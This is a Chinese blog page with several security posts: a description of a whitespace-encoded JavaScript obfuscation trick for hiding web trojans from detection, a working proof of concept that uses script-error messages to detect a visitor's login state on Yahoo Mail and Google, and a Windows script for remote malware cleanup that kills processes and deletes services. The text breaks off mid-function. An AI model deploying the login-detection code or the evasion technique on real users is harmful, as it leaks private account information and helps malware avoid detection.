06月 1st, 2009[原创]百度专利搜索结果自动导入Zotero的脚本
用过Firefox+Zotero的都知道,推荐论文写作、信息整理归档必备!
用过Firefox+Zotero的都知道,推荐论文写作、信息整理归档必备!
在刚刚结束的Defcon 2008上,Kolisar为我们展示了一种非常有创意的JS代码变形方法。
一篇介绍这种技术原理的blog在这里, Kolisar在大会上展示的PoC代码在这里,PPT在这里。
好了,给了一堆的链接,下面来谈谈我对这种新变形技术的一点体会。
首先,对于网页挂马的检测者来说,对于eval、document.write()、畸形长字符串等都是非常敏感的。 一般来说,在网页中出现这样一些特征语句时,往往就是一些挂马语句。更不用说如果直接出现类似<iframe src=”xxx.html” style=”display:none”/>这样的赤裸裸语句了。所以,Kolisar采用了遍历和枚举dom对象的方法来一步一步的获得对document对象的引用句柄和document对象的write方法和getElementById方法的使用。获取当前窗口对象句柄最直接的方法就是h=this。
接下来,从window对象开始,依次通过一些字符串长度和特征字节位的比较而获得document对象、document对象中的write、getElementById方法,并用数组来存储获得的这些对象和方法的句柄引用。不过经过我的测试,在IE 8 (beta 2)中 使用h[i][j](’p')这种方法访问dom节点是无效的,在FF 3.0.1中倒是测试可以通过。这应该是一个browser specific的特性。所以,这是该技术方法的一个约束条件。
有了这些对象和对象方法之后,接下来是如何读取并执行“嵌入的代码”了。Kolisar嵌入代码的方法非常特别,这也是他的这个Javascript变形技术的最具创新意味的地方。他把代码直接隐藏在了自己的解密代码之中!而所谓的隐藏代码就是空格和tab!将解密代码用鼠标选中反白之后,可以发现,从h=this;这行代码开始,后面几十行的代码的结束处都有一些留白。把鼠标定位到这些留白之后,通过方向键移动光标,我们可以清楚的看到这些空白是由一串有“规律”的tab和空格组成!对,就是空白!tab和空白的交替出现,代表了0、1字符串!这就是比特编码!再数一下这个空格和tab的数目,你又会发现,一定是每行各出现8次由空格和tab组成的空白!
说到这里,我们终于明白了。所谓的恶意代码其实就是一堆“空白”!这种方法,不仅可以逃过过滤程序的静态检测,就连专业安全分析人员的眼睛也无法发现它们!谁能想到一堆空白中其实蕴藏的就是恶意代码呢?
这个技术相当的不错,相信很快就能在网上看到利用这种技术来挂马的实例了,呵呵。
今天看到一篇有意思的文章,关于用js检测用户是否登入某些Web应用的方法,虽然原文没有给出具体的实现代码,但我经过了一些研究之后,试着写了一段POC,经测试只能在Firefox下使用。IE下的错误信息和Firefox的错误信息接口不一样,暂时没有想到办法利用。
测试地址在这里
附上POC源代码:
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<meta name=”refer” content=”http://kentbrewster.com/patching-privacy-leaks/”>
<head>
<title> JavaScript WebSite Login Checker</title>
</head>
<body>
<script>
<!–
//hook firefox’s onerror event handler
window.onerror = err;
var sites = new Array(2);
sites[’http://mail.yahoo.com/’] = new Array(5);
sites[’http://mail.yahoo.com/’][”name”] = ‘Yahoo Mail (Beta)’;
sites[’http://mail.yahoo.com/’][”login_msg”] = ‘missing } in XML expression’;
sites[’http://mail.yahoo.com/’][”login_line”] = ‘12′;
sites[’http://mail.yahoo.com/’][”logout_msg”] = ’syntax error’;
sites[’http://mail.yahoo.com/’][”logout_line”] = ‘8′;
sites[’https://www.google.com/accounts/ManageAccount’] = new Array(5);
sites[’https://www.google.com/accounts/ManageAccount’][”name”] = ‘Google Account’;
sites[’https://www.google.com/accounts/ManageAccount’][”login_msg”] = ‘XML tag name mismatch (expected a)’;
sites[’https://www.google.com/accounts/ManageAccount’][”login_line”] = ‘144′;
sites[’https://www.google.com/accounts/ManageAccount’][”logout_msg”] = ‘missing = in XML attribute’;
sites[’https://www.google.com/accounts/ManageAccount’][”logout_line”] = ‘35′;
function check(loc) {
var script = document.createElement(’script’);
script.setAttribute(’src’, loc);
script.setAttribute(’type’,'text/javascript’);
var head = document.getElementsByTagName(”head”)[0];
head.appendChild(script);
}
function err(msg, loc, line) {
var res = document.getElementById(sites[loc].name);
if ((msg == sites[loc].login_msg) && (line == sites[loc].login_line)) {
res.innerHTML = ” Logged-in”;
} else if ((msg == sites[loc].logout_msg) && (line == sites[loc].logout_line)) {
res.innerHTML = ” Not Logged-in”;
} else {
res.innerHTML = ” Not Logged-in”;
}
window.stop();
}
// –>
function addSite(loc)
{
var results = document.getElementById(”results”);
var subdiv = document.createElement(”div”);
results.appendChild(subdiv);
var name = document.createElement(”span”);
name.innerHTML = sites[loc].name;
subdiv.appendChild(name);
var result = document.createElement(”span”);
result.setAttribute(”id”, sites[loc].name);
result.innerHTML = ” “;
subdiv.appendChild(result);
var button = document.createElement(”input”);
button.type=”button”;
button.value=”check”;
button.setAttribute(”onclick”,”check(’”+ loc +”‘)”);
subdiv.appendChild(button);
}
</script>
<div align=”center”>
<h1>JavaScript WebSite Login Checker</h1>
<div id=”results”></div>
<script>
for(var i in sites){
addSite(i);
}
</script>
</div>
</body>
</html>
关于ver 0.1可以参考我之前的一篇post
——————————————我是分割线——————————————
+ 本脚本的目的在于远程协助对电脑毫无操作经验的人清除电脑上的小毒、小马和小流氓~
+ rootkit级别的暂时不是通过WMI可以解决的,所以不是我的这个小脚本的编写目的
+ 版本升级频率取决于遇到的病毒和马儿的顽固程度
——————————————我是分割线——————————————
Changes since ver 0.1
+ 操作日志记录到文件
+ 删除系统服务
+ 遍历使用spt的16种终止进程方法
+ 通过进程名查找进程pid
> 修改函数异常处理的方法为记录日志到文件
/******************************************************************************
* Author: TrojanJason@NEWSMTH
* Created on: 2007-12-28
* Last Modified: 2008-01-19
* Version: 0.2
* ===================================================
* run: cscript //nologo virusCleanerUtils.js
* ===================================================
* Changelog:
* ===================================================
* Changes since ver 0.1
* + 操作日志记录到文件
* + 删除系统服务
* + 遍历使用spt的16种终止进程方法
* + 通过进程名查找进程pid
* > 修改函数异常处理的方法为记录日志到文件
*/
//—————–全局变量开始———————–
var objWSH = new ActiveXObject(“wscript.shell”);
var fso = new ActiveXObject(“scripting.filesystemobject”);
var Log = new Logger();
var hasExceptions = 0;
//OpenTextFile 中读写标志位
var ForRead = 1;
var ForWrite = 2;
var ForAppend = 8;
//custom input dialog vars
var vbOKCancel = 1; // 确定/取消
var vbOKOnly = 0; //确定
var vbInformation = 64;
var vbCancel = 2; //终止 重试 忽略,对于Popup的返回值来说表示用户点击’取消’
//special folders spec
var WindowsFolder = 0;
var SystemFolder = 1;
var TemporaryFolder = 2;
//spt kill level constant
/*
1 - standard process termination;
2 - terminate process by terminating all its threads;
3 - terminate process using remote thread;
4 - terminate process by instruction pointer (IP) modification;
5 - crash process by resetting memory attributes;
6 - crash process by rewriting critical process data;
7 - terminate process as part of a job;
8 - terminate process using debuger;
9 - terminate process as a task;
10 - terminate process by sending WM_CLOSE;
11 - terminate process by sending WM_SYSCOMMAND;
12 - terminate process using windows station message;
13 - terminate process using DLL injection 1;
14 - terminate process using DLL injection 2;
15 - simulation of normal process exit;
16 - terminate process by “bruteforce” message posting;
*/
//—————–全局变量结束———————–
//—————–全局对象定义开始———————–
function VCHelper()
{
}
VCHelper.prototype.deleteSystemService = deleteSystemService;
VCHelper.prototype.stopSystemService = stopSystemService;
VCHelper.prototype.deleteRegKey = deleteRegKey;
VCHelper.prototype.createRegKey = createRegKey;
VCHelper.prototype.readRegKey = readRegKey;
VCHelper.prototype.killProcessByName = killProcessByName;
VCHelper.prototype.killProcessByPid = killProcessByPid;
VCHelper.prototype.killProcessByPidSpt = killProcessByPidSpt;
VCHelper.prototype.killProcessByPidAll = killProcessByPidAll;
VCHelper.prototype.killProcessByNameAll = killProcessByNameAll;
VCHelper.prototype.findProcessByPid = findProcessByPid;
VCHelper.prototype.findPidByProcessName = findPidByProcessName;
VCHelper.prototype.unloadDll = unloadDll;
VCHelper.prototype.deleteFile = deleteFile;
VCHelper.prototype.deleteFileByEnvVar = deleteFileByEnvVar;
VCHelper.prototype.writeTextToFile = writeTextToFile;
VCHelper.prototype.copyFile = copyFile;
VCHelper.prototype.deleteFolder = deleteFolder;
function UtilsHelper()
{
}
UtilsHelper.prototype.hex = hex;
UtilsHelper.prototype.info = info;
function TestVCHelper()
{
}
TestVCHelper.prototype.buildTestCase = function(){
try{
fso.OpenTextFile(“test.txt”, ForWrite, true).Close();
fso.OpenTextFile(“d:\\temp\\sss.txt”, ForWrite, true).Close();
fso.CreateFolder(“d:\\中文 目录”);
fso.OpenTextFile(“d:\\中文 目录\\test.txt”, ForWrite, true).Close();
fso.OpenTextFile(fso.GetSpecialFolder(TemporaryFolder)+“temp.ani”, ForWrite, true).Close();
}catch(Err){
}
}
TestVCHelper.prototype.runTestCase = function(){
var TestCase = new VCHelper();
//display program info
info();
//test copy file
TestCase.copyFile(“test.txt”, “d:\\temp\\test1111.txt”);
TestCase.copyFile(“test.txt”,“d:\\temp\\test2222.txt”);
TestCase.copyFile(“test.txt”,“d:\\nonexist\\test2222.txt”);
TestCase.deleteFile(“d:\\temp\\sss.txt”);
TestCase.deleteFile(“d:\\中文 目录\\test.txt”);
TestCase.deleteFile(“d:\\temp\\test1111.txt”);
TestCase.deleteFile(“d:\\temp\\test2222.txt”);
TestCase.deleteFolder(“d:\\中文 目录”);
TestCase.deleteFileByEnvVar(“%temp%\\temp.ani”);
TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForAppend, false);
TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForWrite, true);
TestCase.writeTextToFile(“444\n2222\n333″, “test.txt”, ForAppend, true);
TestCase.deleteFile(“test.txt”);
//test process termination
TestCase.unloadDll(“SciLexer.DLL”);
TestCase.killProcessByName(“notepad.exe”);
TestCase.killProcessByNameAll(“calc.exe”);
TestCase.killProcessByPid(3972);
//test stopping service
TestCase.stopSystemService(“MSIServer”);
//test registry operations
TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\“,1,“REG_BINARY”);
TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”, “Goocher!”, “REG_SZ”);
Log.log(readRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”));
TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”);
TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\“);
TestCase.deleteRegKey(“HKCU\\Software\\ACME\\“);
}
//日志对象
function Logger(logLevel)
{
}
Logger.prototype.name = “VirusCleanLog.log”;
Logger.prototype.log = function(str){
var fd = fso.OpenTextFile(Log.name, ForAppend, true);
fd.Write(new Date().getCurrentTime() + ” - “ + str + “\n“);
fd.Close();
}
//获得当前系统时间
Date.prototype.getCurrentTime = function()
{
return this.getYear() + “/” + (this.getMonth() + 1) + “/” + this.getDate() + ” “ + this.getHours() + “:” + this.getMinutes() + “:” + this.getMilliseconds();
}
//—————–全局对象定义结束———————–
/**************************************
************ 系统服务操作 **************
**************************************/
//停止服务
function stopSystemService(srvcName)
{
try{
var strcomputer, objwmi, servicelist, service, sname;
strcomputer =“.”;
objwmi = GetObject(“winmgmts:\\\\“ + strcomputer + “\\root\\cimv2″);
//确保只停止当前状态为’Running’或’Unknown’的服务
servicelist = objwmi.ExecQuery(“Select * from Win32_Service where (State=’Running’ or State=’Unknown’) and Name=’” + srvcName + “‘”);
var e = new Enumerator(servicelist);
for (;!e.atEnd();e.moveNext()) {
var service = e.item();
if(service.stopservice() == 0){
Log.log(“*****停止服务:’” + srvcName + “‘成功”);
}else{
Log.log(“!!!!!停止服务:’” + srvcName + “‘失败”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//删除服务
function deleteSystemService(srvcName)
{
try{
var strcomputer, objwmi, servicelist, service, sname;
strcomputer =“.”;
objwmi = GetObject(“winmgmts:\\\\“ + strcomputer + “\\root\\cimv2″);
servicelist = objwmi.ExecQuery(“Select * from Win32_Service where Name=’” + srvcName + “‘”);
var e = new Enumerator(servicelist);
for (;!e.atEnd();e.moveNext()) {
var service = e.item();
if(service.Delete() == 0){
Log.log(“*****删除服务:’” + srvcName + “‘成功”);
}else{
Log.log(“!!!!!删除服务:’” + srvcName + “‘失败”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ 注册表操作 ***************
**************************************/
//删除注册表键值
function deleteRegKey(regKeyName)
{
try{
Log.log(“deleteRegKey(” + regKeyName + “)”);
objWSH.RegDelete(regKeyName);
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//创建/修改注册表键值
function createRegKey(regKeyName, regKeyValue, regType)
{
try{
Log.log(“createRegKey(” + regKeyName + “,” + regKeyValue + “,” + regType + “)”);
objWSH.RegWrite(regKeyName, regKeyValue, regType);
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//读取注册表键值
function readRegKey(regKeyName)
{
try{
Log.log(“readRegKey(” + regKeyName + “)”);
return objWSH.RegRead(regKeyName);
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ 进程操作 ***************
**************************************/
//进程终结 by name
function killProcessByName(procName)
{
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where name=’” + procName + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
if(process.terminate()){
Log.log(“!!!!!终止进程:’” + procName + “‘失败”);
}else{
Log.log(“*****终止进程” + procName + “成功”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//进程终结 by pid
function killProcessByPid(pid)
{
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
if(process.terminate()){
Log.log(“!!!!!终止进程pid:’” + pid + “‘失败”);
}else{
Log.log(“*****终止进程pid” + pid + “成功”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//进程终结 by pid 使用spt.exe
function killProcessByPidSpt()
{
var pid, level, params;
if(arguments == null || arguments.length < 2){
return;
}else{
pid = arguments[0];
level = arguments[1];
params = arguments[2] == null ? null : arguments[2];
}
try{
if(findProcessByPid(pid) == null){//不存在pid所代表的进程
Log.log(“!!!!!不存在进程(pid=” + pid + “, level=” + level + “)”);
return 0;
}
var oExec;
if(params == null || params.length < 1){
oExec = objWSH.Exec(“spt “ + pid + ” “ + level);
}else{
oExec = objWSH.Exec(“spt “ + pid + ” “ + level + ” “ + params);
}
var isSuccessful = false;
while(!oExec.StdOut.AtEndOfStream)
{
var output = oExec.StdOut.ReadLine();
if(output.indexOf(“succeed”) > -1){//程序执行成功
isSuccessful = true;
break;
}
}
if(!isSuccessful){
Log.log(“!!!!!强制终止进程(pid=” + pid + “, level=” + level + “)失败”);
return 1;
}else{
Log.log(“*****强制终止进程(pid=” + pid + “, level=” + level + “)成功”);
return 0;
}
}catch(err){
objWSH.Popup(“请将第三方程序spt.exe与本专杀放在同一目录下”,64,“注意”);
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
return 2;
}
}
//遍历尝试16种进程终止方法
function killProcessByPidAll(pid)
{
for(var i = 1;i < 17;i++){
if(!killProcessByPidSpt(pid, i))//执行成功
break;
}
}
//遍历尝试16种进程终止方法by process name
function killProcessByNameAll(procName)
{
var pids = findPidByProcessName(procName);
if(pids != null && pids.length > 0){
for(var i = 0;i < pids.length;i++){
Log.log(“进程” + procName + “存在pid:” + pids[i]);
killProcessByPidAll(pids[i]);
}
}
}
//查找进程 by pid
function findProcessByPid(pid)
{
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
return process;
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//通过进程名查找pid
function findPidByProcessName(procName)
{
var pids = new Array();
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where name=’” + procName + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
pids.push(process.ProcessId);
}
return pids;
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//dll文件卸载
function unloadDll(dllName)
{
try{
var oExec = objWSH.Exec(“ps /e * “ + dllName);
var output = “”;
var isSuccessful = false;
while(!oExec.StdOut.AtEndOfStream)
{
var output = oExec.StdOut.ReadLine();
if(output.indexOf(“succeed”) > -1){//程序执行成功
isSuccessful = true;
break;
}
}
if(!isSuccessful){
Log.log(“!!!!!强制卸载dll文件:” + dllName + “失败,请确认dll文件名是否正确”);
}else{
Log.log(“*****强制卸载dll文件:” + dllName + “成功”);
}
}catch(err){
objWSH.Popup(“请将第三方程序ps.exe与本专杀放在同一目录下”,64,“注意”);
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ 文件操作 ***************
**************************************/
//删除文件(根据全路径+文件名,注意路径中的斜杠是\\)
function deleteFile(fileName)
{
try{
if(fso.FileExists(fileName)){
var v = fso.GetFile(fileName);
v.attributes = 0;
v.Delete(true);//force delete if read-only flag is set
if(fso.FileExists(fileName)){//check if file has been deleted
Log.log(“!!!!!删除文件’” + fileName + “‘失败”);
}else{
Log.log(“*****删除文件’” + fileName + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//删除文件(根据环境变量名+文件名,注意路径中的斜杠是\\)
function deleteFileByEnvVar(fileSpec){
try{
var d = objWSH.ExpandEnvironmentStrings(fileSpec);
if(fso.FileExists(d)){
var v = fso.GetFile(d);
v.attributes = 0;
v.Delete(true);//force delete if read-only flag is set
if(fso.FileExists(d)){//check if file has been deleted
Log.log(“!!!!!删除文件’” + fileSpec + “‘失败”);
}else{
Log.log(“*****删除文件’” + fileSpec + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//强制删除文件(借助第三方工具)
//写文本文件
function writeTextToFile(txt, fileName, iomode, ForceCreate)
{
try{
var re = fso.OpenTextFile(fileName, iomode, ForceCreate);
re.Write(txt);
re.Close();
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//复制文件
function copyFile(src, dst)
{
try{
if(fso.FileExists(src)){
var tempDst = dst.substring(0,dst.lastIndexOf(“\\“) + 1);
if(!fso.FolderExists(tempDst)){//检查是否存在目标文件所在的目录
if(objWSH.Popup(“不存在目标目录” + tempDst + “自动创建?”,64,“注意”,vbOKCancel) == vbCancel){//放弃复制
return;
}
fso.CreateFolder(tempDst);
}
if(fso.FileExists(dst)){//检查目标文件是否已经存在
if(objWSH.Popup(“目标文件” + dst + “已存在,是否覆盖?”,64,“注意”,vbOKCancel) == vbCancel){//放弃覆盖
return;
}
}
fso.GetFile(src).Copy(dst);
}else{
objWSH.Popup(“要拷贝的源文件” + src + “不存在”,64,“注意”,vbOKOnly);
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//删除目录
function deleteFolder(folderName)
{
try{
if(fso.FolderExists(folderName)){
var folder = fso.GetFolder(folderName);
folder.attributes = 0;
folder.Delete(true);
if(fso.FolderExists(folderName)){
Log.log(“!!!!!删除目录’” + folderName + “‘失败”);
}else{
Log.log(“*****删除目录’” + folderName + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ UtilsHelper类 ***************
**************************************/
function hex(nmb)
{
if (nmb > 0)
return nmb.toString(16);
else
return (nmb + 0×100000000).toString(16);
}
function info()
{
var _name = “Virus Clean Helper”;
var _author = “All rights by TrojanJason@NEWSMTH”;
var _version = “Version 0.2″;
objWSH.Popup(_author + “\n“ + _version, 64, _name);
}
function main()
{
//write your code here to perform virus batch clean
//停止服务
//删除服务
//进程操作
//dll卸载
//删除文件
//清理注册表
}
//run TestCase
//var TestCase = new TestVCHelper();
//TestCase.buildTestCase();
//TestCase.runTestCase();
//
//main function call
main();
经常分析SREng日志的人都会有体会,远程帮人清除病毒真是一件体力活。特别当对方是个电脑“白痴”的时候,那真是各种的无法沟通。。。你教她删文件、改注册表、停服务?算了吧,还是让windows的脚本来帮我们搞定一切吧!
折腾了2天,终于release了我的VirusCleanerUtils.js~~
由于脚本的一些局限性,我的这个病毒清除脚本还依赖于2个小工具分别是ps和spt,关于这2个文件的更多信息可以分别看下面的链接:
X-PS: http://www.unnoo.com/research/tools/xps/
spt: http://www.syssafety.com/leaktests.141.html
目前版本支持的功能包括:
在源代码中加入了测试代码,方便即改即测~
使用方法:
将VirusCleanerUtils.js、ps.exe、spt.exe三个文件放在同一个目录下,通过以下命令行启动
| cscript //nologo VirusCleanerUtils.js |
当然了,嫌这样麻烦,自己把上面的启动代码放到一个bat文件里,双击启动,更加傻瓜点~
源代码:VirusCleanerUtils.js
******************************************************************************
* Author: TrojanJason@NEWSMTH
* Created on: 2007-12-28
* Last Modified: 2007-12-29
* Version: 0.1
*/
//—————–全局变量开始———————–
var objWSH = new ActiveXObject(“wscript.shell”);
var fso = new ActiveXObject(“scripting.filesystemobject”);
var hasExceptions = 0;
//OpenTextFile 中读写标志位
var ForRead = 1;
var ForWrite = 2;
var ForAppend = 8;
//custom input dialog vars
var vbOKCancel = 1; // 确定/取消
var vbOKOnly = 0; //确定
var vbInformation = 64;
var vbCancel = 2; //终止 重试 忽略,对于Popup的返回值来说表示用户点击’取消’
//special folders spec
var WindowsFolder = 0;
var SystemFolder = 1;
var TemporaryFolder = 2;
//spt kill level constant
/*
1 - standard process termination;
2 - terminate process by terminating all its threads;
3 - terminate process using remote thread;
4 - terminate process by instruction pointer (IP) modification;
5 - crash process by resetting memory attributes;
6 - crash process by rewriting critical process data;
7 - terminate process as part of a job;
8 - terminate process using debuger;
9 - terminate process as a task;
10 - terminate process by sending WM_CLOSE;
11 - terminate process by sending WM_SYSCOMMAND;
12 - terminate process using windows station message;
13 - terminate process using DLL injection 1;
14 - terminate process using DLL injection 2;
15 - simulation of normal process exit;
16 - terminate process by “bruteforce” message posting;
*/
//—————–全局变量结束———————–
//—————–全局对象定义开始———————–
function VCHelper()
{
}
VCHelper.prototype.stopSystemService = stopSystemService;
VCHelper.prototype.deleteRegKey = deleteRegKey;
VCHelper.prototype.createRegKey = createRegKey;
VCHelper.prototype.readRegKey = readRegKey;
VCHelper.prototype.killProcessByName = killProcessByName;
VCHelper.prototype.killProcessByPid = killProcessByPid;
VCHelper.prototype.findProcessByPid = findProcessByPid;
VCHelper.prototype.killProcessByPidSpt = killProcessByPidSpt;
VCHelper.prototype.unloadDll = unloadDll;
VCHelper.prototype.deleteFile = deleteFile;
VCHelper.prototype.deleteFileByEnvVar = deleteFileByEnvVar;
VCHelper.prototype.writeTextToFile = writeTextToFile;
VCHelper.prototype.copyFile = copyFile;
VCHelper.prototype.deleteFolder = deleteFolder;
function UtilsHelper()
{
}
UtilsHelper.prototype.hex = hex;
UtilsHelper.prototype.info = info;
function TestVCHelper()
{
}
TestVCHelper.prototype.buildTestCase = function(){
try{
fso.OpenTextFile(“test.txt”, ForWrite, true).Close();
fso.OpenTextFile(“d:\\temp\\sss.txt”, ForWrite, true).Close();
fso.CreateFolder(“d:\\中文 目录”);
fso.OpenTextFile(“d:\\中文 目录\\test.txt”, ForWrite, true).Close();
fso.OpenTextFile(fso.GetSpecialFolder(TemporaryFolder)+“temp.ani”, ForWrite, true).Close();
}catch(Err){
}
}
TestVCHelper.prototype.runTestCase = function(){
var TestCase = new VCHelper();
//display program info
info();
//test copy file
TestCase.copyFile(“test.txt”, “d:\\temp\\test2222.txt”);
TestCase.copyFile(“test.txt”,“d:\\temp\\test22222.txt”);
TestCase.copyFile(“test.txt”,“d:\\nonexist\\test22222.txt”);
TestCase.deleteFile(“d:\\temp\\sss.txt”);
TestCase.deleteFile(“d:\\中文 目录\\test.txt”);
TestCase.deleteFolder(“d:\\中文 目录”);
TestCase.deleteFileByEnvVar(“%temp%\\temp.ani”);
TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForAppend, false);
TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForWrite, true);
TestCase.writeTextToFile(“444\n2222\n333″, “test.txt”, ForAppend, true);
//test process termination
TestCase.unloadDll(“SciLexer.DLL”);
TestCase.killProcessByName(“calc.exe”);
TestCase.killProcessByPid(3968);
TestCase.killProcessByPidSpt(3532,2);
//test stopping service
TestCase.stopSystemService(“MSIServer”);
//test registry operations
TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\“,1,“REG_BINARY”);
TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”, “Goocher!”, “REG_SZ”);
WScript.StdErr.WriteLine(readRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”));
TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”);
TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\“);
TestCase.deleteRegKey(“HKCU\\Software\\ACME\\“);
}
//—————–全局对象定义结束———————–
/**************************************
************ 系统服务操作 **************
**************************************/
//停止服务
function stopSystemService(srvcName)
{
try{
var strcomputer, objwmi, servicelist, service, sname;
strcomputer =“.”;
objwmi = GetObject(“winmgmts:\\\\“ + strcomputer + “\\root\\cimv2″);
//确保只停止当前状态为’Running’或’Unknown’的服务
servicelist = objwmi.ExecQuery(“Select * from Win32_Service where (State=’Running’ or State=’Unknown’) and Name=’” + srvcName + “‘”);
var e = new Enumerator(servicelist);
for (;!e.atEnd();e.moveNext()) {
var service = e.item();
if(service.stopservice()){
WScript.StdErr.WriteLine(“!!!!!停止服务:’” + srvcName + “‘失败”);
}else{
WScript.StdOut.WriteLine(“*****停止服务:’” + srvcName + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ 注册表操作 ***************
**************************************/
//删除注册表键值
function deleteRegKey(regKeyName)
{
try{
objWSH.RegDelete(regKeyName);
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//创建/修改注册表键值
function createRegKey(regKeyName, regKeyValue, regType)
{
try{
objWSH.RegWrite(regKeyName, regKeyValue, regType);
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//读取注册表键值
function readRegKey(regKeyName)
{
try{
return objWSH.RegRead(regKeyName);
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ 进程操作 ***************
**************************************/
//进程终结 by name
function killProcessByName(procName)
{
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where name=’” + procName + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
if(process.terminate()){
objWSH.Popup(“终止进程:’” + procName + “‘失败”);
}
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//进程终结 by pid
function killProcessByPid(pid)
{
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
process.terminate; //结束进程
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
function findProcessByPid(pid)
{
try{
var w = GetObject(“winmgmts:”);
var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
var e = new Enumerator(processlist);
for(;!e.atEnd();e.moveNext()){
var process = e.item();
return process;
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//进程终结 by pid 使用spt.exe
function killProcessByPidSpt()
{
var pid, level, params;
if(arguments == null || arguments.length < 2){
return;
}else{
pid = arguments[0];
level = arguments[1];
params = arguments[2] == null ? null : arguments[2];
}
try{
